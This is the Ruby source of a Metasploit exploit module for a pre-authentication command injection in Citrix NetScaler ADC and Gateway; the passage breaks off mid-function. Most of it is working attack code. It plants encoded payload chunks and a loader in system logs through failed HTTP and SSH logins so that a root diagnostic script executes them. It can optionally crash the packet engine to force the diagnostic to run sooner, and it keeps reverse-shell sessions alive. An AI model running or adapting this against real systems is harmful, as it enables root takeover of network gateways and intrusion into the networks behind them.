# frozen_string_literal: true ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'base64' require 'json' require 'socket' class MetasploitModule < Msf::Exploit::Remote # A planted login may wait for a later diagnostic and never yield a session. Rank = NormalRanking # The core-dump diagnostic scans ns.log.0, ns.log, then /var/log/messages. New failed # logins go into one of the two active logs below. NS_LOG = '/var/log/ns.log' MESSAGES_LOG = '/var/log/messages' include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::SSH include Msf::Exploit::Retry prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Citrix NetScaler Unauthenticated Login Log Command Injection (CVE-2026-88771)', 'Description' => %q{ NetScaler ADC and Gateway 13.1 before build 64.23 and 14.1 before build 73.37 copy an unauthenticated failed-login username into system logs. During a later diagnostic run, ns_monuploadd_err.pl mistakes a crafted login record for a packet-engine failure and inserts attacker-controlled text into a shell command as root. The diagnostic can run up to 24 hours later. On a NetScaler Gateway with DTLS, the optional CVE-2026-88772 trigger can restart the packet engine forcing the diagnostic run to occur much sooner (around five minutes on a 13.1.x target). }, 'Author' => [ 'watchTowr', # Technical analysis and PoC for CVE-2026-88771 and CVE-2026-88772 'CERT-EU', # Technical analysis for CVE-2026-88771 'Scyrix LLC', # Technical analysis and PoC for CVE-2026-88773 'sfewer-r7' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ # This is the command injection, both planting and triggering RCE. ['CVE', '2026-88771'], # This is a separate memory overflow we optionally leverage on a gateway to force restarting a service # which expedited triggering RCE on 13.1 targets. ['CVE', '2026-88772'], # This is an unrelated HTTP smuggling vuln that is patched in the same firmware versions as CVE-2026-88771. # We can leverage this in the modules check to see if the target appears vulnerable to CVE-2026-88771 # based on if CVE-2026-88773 is remediated. ['CVE', '2026-88773'], ['URL', 'https://support.citrix.com/external/article/CTX697096'], ['URL', 'https://www.cert.europa.eu/blog/taking-execute-logging-a-bit-too-literally-cve-2026-88771'], ['URL', 'https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/'], ['URL', 'https://labs.watchtowr.com/here-we-go-again-citrix-netscaler-dtls-preauth-memory-overflow-cve-2026-88772/'], ['URL', 'https://github.com/Scyrix-LLC/CVE-2026-88773'] ], 'DisclosureDate' => '2026-09-27', 'Privileged' => true, 'Payload' => { 'Space' => 4096, # Padding would create needless failed-login records. 'DisableNops' => true }, 'Platform' => 'unix', # The log stage runs any command payload. Sessionless commands can # execute, but the module cannot confirm them through a session. 'Arch' => ARCH_CMD, # Tested with: # * cmd/unix/reverse_bash # * cmd/unix/python/meterpreter/reverse_tcp 'Targets' => [ ['Default', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { # Failed logins are passive; USE_DTLS deliberately risks a packet-engine restart. 'Stability' => [CRASH_SERVICE_RESTARTS], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [EVENT_DEPENDENT] } ) ) register_options([ OptBool.new('USE_DTLS', [true, 'Leverage CVE-2026-88772 to crash nsppe and indirectly relaunch monuploadd which then triggers the CVE-2026-88771 injection. Can only be used against a gateway interface with DTLS enabled. The DTLS restart was only observed to expedite triggering the injection on 13.1.x but not on 14.1.x.', false]), OptInt.new('RESUBMIT_INTERVAL', [true, 'Seconds between repeated attempts to continuously plant the payload (0 disables, default is 30)', 30]), OptInt.new('RESUBMIT_DURATION', [true, 'Total seconds to keep planting the payload and waiting for a session (0 submits once, default is 24 hours)', 86_400]) ]) register_advanced_options([ OptEnum.new('ManagementLoginUri', [ true, 'Management login endpoint', '/login/do_login', ['/login/do_login', '/nitro/v1/config/login', '/nitro/v1/config/login/'] ]), OptEnum.new('ManagementLogFile', [true, 'Log containing management login usernames', NS_LOG, [NS_LOG, MESSAGES_LOG]]), OptEnum.new('GatewayLoginUri', [ true, 'Gateway login endpoint', '/cgi/login', ['/cgi/login', '/cgi/tmlogin', '/p/u/doAuthentication.do'] ]), OptEnum.new('GatewayLogFile', [true, 'Log containing Gateway login usernames', MESSAGES_LOG, [NS_LOG, MESSAGES_LOG]]), OptBool.new('UseSshFallback', [true, 'Also write the loader to /var/log/messages through failed SSH login when staging uses ns.log', true]), OptPort.new('SshPort', [true, 'SSH port for the optional loader fallback', 22]) ]) end def check discovery = discover_surface return CheckCode::Unknown(discovery[:message]) unless discovery[:status] == :detected description = "Citrix NetScaler #{discovery[:surface]}" if discovery[:surface] == :gateway # The DTLS probe identifies a reachable feature, not the vulnerable build or # whether a crash would launch the CVE-2026-88771 diagnostic. dtls = probe_gateway_dtls description += " (DTLS #{dtls})" end report_service( host: rhost, port: rport, proto: 'tcp', name: datastore['SSL'] ? 'https' : 'http', info: description ) # If the target is vulnerable to CVE-2026-88773 then it should be vulnerable to CVE-2026-88771 as # both of these are patched in the same firmware version. We can detect CVE-2026-88773, an HTTP # smuggling issue due to chunk size processing, via some benign test requests. if accepts_32bit_chunk_wrap? return CheckCode::Appears(description) end CheckCode::Detected(description) end def exploit # An unauthenticated client can put a failed-login name in an audit log. # Pitboss supervises NetScaler's nsppe packet engine (PPE). After a PPE # failure, it can restart NetScaler's nCore services. That relaunches # monuploadd, a worker that runs core dump diagnostics. On a tested # 13.1 appliance, it launches ns_monuploadd_err.pl -WR as root. That script # mistakes a crafted login for a PPE crash record and inserts its fake # core filename into a shell command. # We store the long payload as short log records and plant one short loader # record that reads them back. DTLS can prompt a restart; otherwise we # keep the records fresh while waiting for the diagnostic (which can take # up to 24 hours to occur). discovery = discover_surface fail_with(Failure::NoTarget, discovery[:message]) unless discovery[:status] == :detected fail_with(Failure::BadConfig, 'RESUBMIT_INTERVAL must be zero or greater') if datastore['RESUBMIT_INTERVAL'].negative? fail_with(Failure::BadConfig, 'RESUBMIT_DURATION must be zero or greater') if datastore['RESUBMIT_DURATION'].negative? if datastore['USE_DTLS'] && discovery[:surface] == :gateway # A successful PPE restart creates a real crash record after our first # loader. We need time for another login to follow that record. fail_with(Failure::BadConfig, 'RESUBMIT_INTERVAL must be positive with USE_DTLS so a login follows Gateway recovery') if datastore['RESUBMIT_INTERVAL'].zero? fail_with(Failure::BadConfig, 'RESUBMIT_DURATION must be positive with USE_DTLS so a login follows Gateway recovery') if datastore['RESUBMIT_DURATION'].zero? end uri = discovery[:surface] == :gateway ? datastore['GatewayLoginUri'] : datastore['ManagementLoginUri'] # We maintain a "profile" to describe how we submit the login attempts, as it differs # based on the login URI and the data that URI expects. # NITRO, NetScaler's management API, expects nested JSON. The other login # interfaces use different form fields. # The log file tells the loader where to find the long payload records. profile = { uri: uri, format: uri.start_with?('/nitro/') ? :nitro : discovery[:surface], log_file: discovery[:surface] == :gateway ? datastore['GatewayLogFile'] : datastore['ManagementLogFile'] } # The diagnostic takes the last matching line in file order, not timestamp # order. A record in /var/log/messages can beat our newer HTTP loader in ns.log. # SSH can place a copy of that loader in /var/log/messages; it still reads the long # stage from the selected HTTP log. if profile[:log_file] != MESSAGES_LOG && !datastore['UseSshFallback'] print_warning('SSH fallback is disabled while staging in ns.log; an older matching record in /var/log/messages may take precedence') end # The short run ID separates this run's log records from older attempts. # stage_statements creates a longer, independent execution marker because # the diagnostic can evaluate the fake filename twice. run_id = Rex::Text.rand_text_alphanumeric(4) statements = stage_statements(payload.encoded) # Each refresh gets a new token, so its loader reads only its own chunks. counter = 0 # Submit a complete stage before any DTLS outage. After recovery, another # login can put our loader behind Pitboss's genuine crash record. stage_status = plant_payload(profile, statements, run_id, counter) fail_with(Failure::UnexpectedReply, "The #{discovery[:surface]} login did not accept the complete command stage") unless stage_status # The HTTP stage can still work without SSH if /var/log/messages has no competing # record, so a failed fallback is a warning rather than a fatal error. if stage_status == :ssh_failed print_warning('The loader could not be written to /var/log/messages via SSH; an older /var/log/messages record may take precedence') end print_status("Submitted #{statements.length} command records and a loader through #{uri}") if datastore['USE_DTLS'] && discovery[:surface] == :gateway # NOTE: The DTLS restart was only observed to expedite triggering the injection on 13.1.x but not on 14.1.x. trigger_dtls elsif datastore['USE_DTLS'] print_warning('DTLS restart is only available on a gateway interface. Ignoring the USE_DTLS option against a management interface.') end print_status("Resubmitting payload over the next #{datastore['RESUBMIT_DURATION']} seconds while we wait for the payload to trigger") # We need to keep trying until we get a session, which can take up to 24 hours. # Framework setup has already started the handler. Stop refreshing when # it registers a session. The polling helper yields once after its timeout; # this deadline prevents an extra log submission on that final yield. deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) + datastore['RESUBMIT_DURATION'] # A stage already exists, so the first poll only checks for a session. initial_poll = true # A disabled refresh still needs a nonzero interval to avoid a busy loop. poll_until_truthy(timeout: datastore['RESUBMIT_DURATION'], interval: [datastore['RESUBMIT_INTERVAL'], 1].max) do next true if session_created? next true if Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) >= deadline if initial_poll initial_poll = false elsif datastore['RESUBMIT_INTERVAL'].positive? # A five-digit suffix keeps the loader inside the username limit. counter = (counter + 1) & 0xfffff if plant_payload(profile, statements, run_id, counter) vprint_status('Refreshed the log stage and loader') end end session_created? end end def on_new_session(session) super # Meterpreter sends its own idle probes; a command shell sends nothing. return unless session.type == 'shell' # On the tested appliance, NetScaler's NAT entry for a reverse shell expired # after about three idle minutes while FreeBSD still held the socket. The # next command then met a reset. Citrix documents NAT PCB expiry and how # keepalive probes can update a connection's last activity: # https://developer-docs.netscaler.com/en-us/adc-command-reference-int/13-1/system/system-parameter.html # https://developer-docs.netscaler.com/en-us/adc-command-reference-int/13-1/ns/ns-tcpprofile # Start TCP keepalive after 30 seconds to refresh the connection without # writing a command to the shell. idle_option = if ::Socket.const_defined?(:TCP_KEEPIDLE) ::Socket::TCP_KEEPIDLE elsif ::Socket.const_defined?(:TCP_KEEPALIVE) ::Socket::TCP_KEEPALIVE end unless idle_option && session.rstream.respond_to?(:setsockopt) print_warning('This command shell transport cannot shorten TCP keepalive; an idle session may be reset by NetScaler') return end session.rstream.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_KEEPALIVE, 1) session.rstream.setsockopt(::Socket::IPPROTO_TCP, idle_option, 30) rescue SystemCallError, IOError => e print_warning("Could not enable TCP keepalive for the command shell: #{e.message}") end private def accepts_32bit_chunk_wrap? normal = chunked_probe_response("0\r\n\r\n") return false unless normal && [200, 302].include?(normal.code) # A non-hex digit must not receive the ordinary HTTP response. return false if chunked_probe_response("z\r\n\r\n") # The vulnerable 32-bit parser wraps 0x100000000 to a zero-length chunk: # https://github.com/Scyrix-LLC/CVE-2026-88773 wrapped = chunked_probe_response("100000000\r\n\r\n") return false unless wrapped [wrapped.code, wrapped['Location'], wrapped['Server']] == [normal.code, normal['Location'], normal['Server']] end def chunked_probe_response(body) http_client = connect host = Rex::Socket.is_ipv6?(vhost) ? "[#{vhost}]" : vhost host += ":#{rport}" unless [80, 443].include?(rport) request = "GET / HTTP/1.1\r\nHost: #{host}\r\nTransfer-Encoding: chunked\r\nConnection: close\r\n\r\n#{body}" # Send exact framing without Rex adding Content-Length or User-Agent. http_client.send_request(request, 3) headers = ''.b until headers.include?("\r\n\r\n") fragment = http_client.conn.get_once(4096, 3) return nil if fragment.to_s.empty? return nil if headers.bytesize + fragment.bytesize > 8192 headers << fragment end response = Rex::Proto::Http::Response.new parsed = response.parse(headers.byteslice(0, headers.index("\r\n\r\n") + 4)) return nil if parsed == Rex::Proto::Http::Packet::ParseCode::Error response rescue Rex::ConnectionError, Rex::TimeoutError, IOError, SystemCallError nil ensure disconnect(http_client) if http_client end def discover_surface # AutoCheck calls check before exploit on the same run instance. Reuse a # positive result to avoid duplicate GETs, but not for a different target. identity = [rhost, rport, datastore['SSL'], datastore['VHOST'], datastore['TARGETURI']] return @discovery if @discovery && @discovery_identity == identity @discovery = nil @discovery_identity = identity # The management and Gateway pages expose different unauthenticated # branding, even though both can receive failed login submissions. root = send_request_cgi('method' => 'GET', 'uri' => '/') # 13.1 uses Citrix branding; 14.1 uses NetScaler branding on this page. body = root&.body.to_s if root&.code == 200 && %w[Citrix NetScaler].any? { |brand| body.include?("